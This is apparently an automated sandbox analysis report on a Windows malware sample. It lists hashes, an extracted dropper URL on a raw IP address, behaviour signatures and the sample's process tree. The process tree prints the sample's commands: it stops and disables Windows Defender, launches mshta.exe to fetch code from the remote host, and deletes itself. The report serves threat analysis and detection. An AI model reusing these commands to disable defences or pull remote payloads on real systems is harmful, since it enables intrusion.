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Analysis

  • max time kernel
    150s
  • max time network
    111s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/08/2024, 14:47

General

  • Target

    bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe

  • Size

    2.5MB

  • MD5

    bc2cfbc203f01930cb56f143d26856fb

  • SHA1

    9f08d0a201ffae04d835864aad3e84a5bc7fe7f5

  • SHA256

    f39643b37ec937d7955ed787baf39869d9823c4cb8d58a552e62956bc8a1c1b1

  • SHA512

    951a3ca3c125c9c01803e3b363b679e3fb47afb88671306bea784080ac4d4149d53fcc803bb4e7e76bbb6550df44908031f0af32dce67d5f681a467da65ac108

  • SSDEEP

    49152:zZEq5/FFhaH5k8ZMCzeDpiqzukgMBwZneQlllb7pEnYWH:NX5dPaZkaMZD1rJw/lllb7piYWH

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=MKDTRXIT&2=i-s&3=77&4=9200&5=6&6=2&7=919041&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 12 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3336
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1596
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4496
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3900
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2880
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:592
    • C:\Users\Admin\AppData\Roaming\rtjygy.exe
      C:\Users\Admin\AppData\Roaming\rtjygy.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3640
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2728
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:5016
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:700
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2156
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1868
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=MKDTRXIT&2=i-s&3=77&4=9200&5=6&6=2&7=919041&8=1033"
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        PID:912
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\BC2CFB~1.EXE" >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4132

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\rtjygy.exe

    Filesize

    2.5MB

    MD5

    bc2cfbc203f01930cb56f143d26856fb

    SHA1

    9f08d0a201ffae04d835864aad3e84a5bc7fe7f5

    SHA256

    f39643b37ec937d7955ed787baf39869d9823c4cb8d58a552e62956bc8a1c1b1

    SHA512

    951a3ca3c125c9c01803e3b363b679e3fb47afb88671306bea784080ac4d4149d53fcc803bb4e7e76bbb6550df44908031f0af32dce67d5f681a467da65ac108

  • memory/3336-0-0x0000000000400000-0x00000000008B6000-memory.dmp

    Filesize

    4.7MB

  • memory/3336-1-0x0000000002680000-0x00000000026DA000-memory.dmp

    Filesize

    360KB

  • memory/3336-9-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-8-0x0000000002830000-0x0000000002831000-memory.dmp

    Filesize

    4KB

  • memory/3336-7-0x0000000002800000-0x0000000002801000-memory.dmp

    Filesize

    4KB

  • memory/3336-6-0x0000000002820000-0x0000000002821000-memory.dmp

    Filesize

    4KB

  • memory/3336-5-0x0000000000EC0000-0x0000000000EC1000-memory.dmp

    Filesize

    4KB

  • memory/3336-4-0x0000000000E80000-0x0000000000E81000-memory.dmp

    Filesize

    4KB

  • memory/3336-3-0x0000000000E90000-0x0000000000E91000-memory.dmp

    Filesize

    4KB

  • memory/3336-2-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

    Filesize

    4KB

  • memory/3336-28-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-27-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3336-26-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3336-25-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3336-36-0x0000000002910000-0x0000000002911000-memory.dmp

    Filesize

    4KB

  • memory/3336-39-0x0000000002950000-0x0000000002951000-memory.dmp

    Filesize

    4KB

  • memory/3336-38-0x0000000002940000-0x0000000002941000-memory.dmp

    Filesize

    4KB

  • memory/3336-37-0x0000000002900000-0x0000000002901000-memory.dmp

    Filesize

    4KB

  • memory/3336-42-0x0000000000400000-0x00000000008B6000-memory.dmp

    Filesize

    4.7MB

  • memory/3336-34-0x00000000028E0000-0x00000000028E1000-memory.dmp

    Filesize

    4KB

  • memory/3336-43-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3336-33-0x0000000002890000-0x0000000002891000-memory.dmp

    Filesize

    4KB

  • memory/3336-32-0x00000000028C0000-0x00000000028C1000-memory.dmp

    Filesize

    4KB

  • memory/3336-31-0x0000000002850000-0x0000000002851000-memory.dmp

    Filesize

    4KB

  • memory/3336-30-0x0000000002860000-0x0000000002861000-memory.dmp

    Filesize

    4KB

  • memory/3336-41-0x00000000028B0000-0x00000000028B1000-memory.dmp

    Filesize

    4KB

  • memory/3336-40-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-29-0x0000000002870000-0x0000000002871000-memory.dmp

    Filesize

    4KB

  • memory/3336-35-0x0000000002920000-0x0000000002921000-memory.dmp

    Filesize

    4KB

  • memory/3336-24-0x00000000036E0000-0x00000000036E1000-memory.dmp

    Filesize

    4KB

  • memory/3336-23-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-22-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-21-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-20-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-19-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-18-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-17-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-16-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-15-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-14-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-13-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-12-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-11-0x00000000027E0000-0x00000000027E1000-memory.dmp

    Filesize

    4KB

  • memory/3336-10-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-50-0x0000000002680000-0x00000000026DA000-memory.dmp

    Filesize

    360KB

  • memory/3336-49-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/3336-48-0x0000000000E70000-0x0000000000E71000-memory.dmp

    Filesize

    4KB

  • memory/3336-47-0x0000000000E60000-0x0000000000E61000-memory.dmp

    Filesize

    4KB

  • memory/3336-46-0x00000000036F0000-0x00000000036F1000-memory.dmp

    Filesize

    4KB

  • memory/3336-44-0x00000000036E0000-0x00000000036E2000-memory.dmp

    Filesize

    8KB

  • memory/3336-45-0x00000000036D0000-0x00000000036D2000-memory.dmp

    Filesize

    8KB

  • memory/3336-56-0x0000000002680000-0x00000000026DA000-memory.dmp

    Filesize

    360KB

  • memory/3336-55-0x0000000000400000-0x00000000008B6000-memory.dmp

    Filesize

    4.7MB

  • memory/3640-58-0x0000000000400000-0x00000000008B6000-memory.dmp

    Filesize

    4.7MB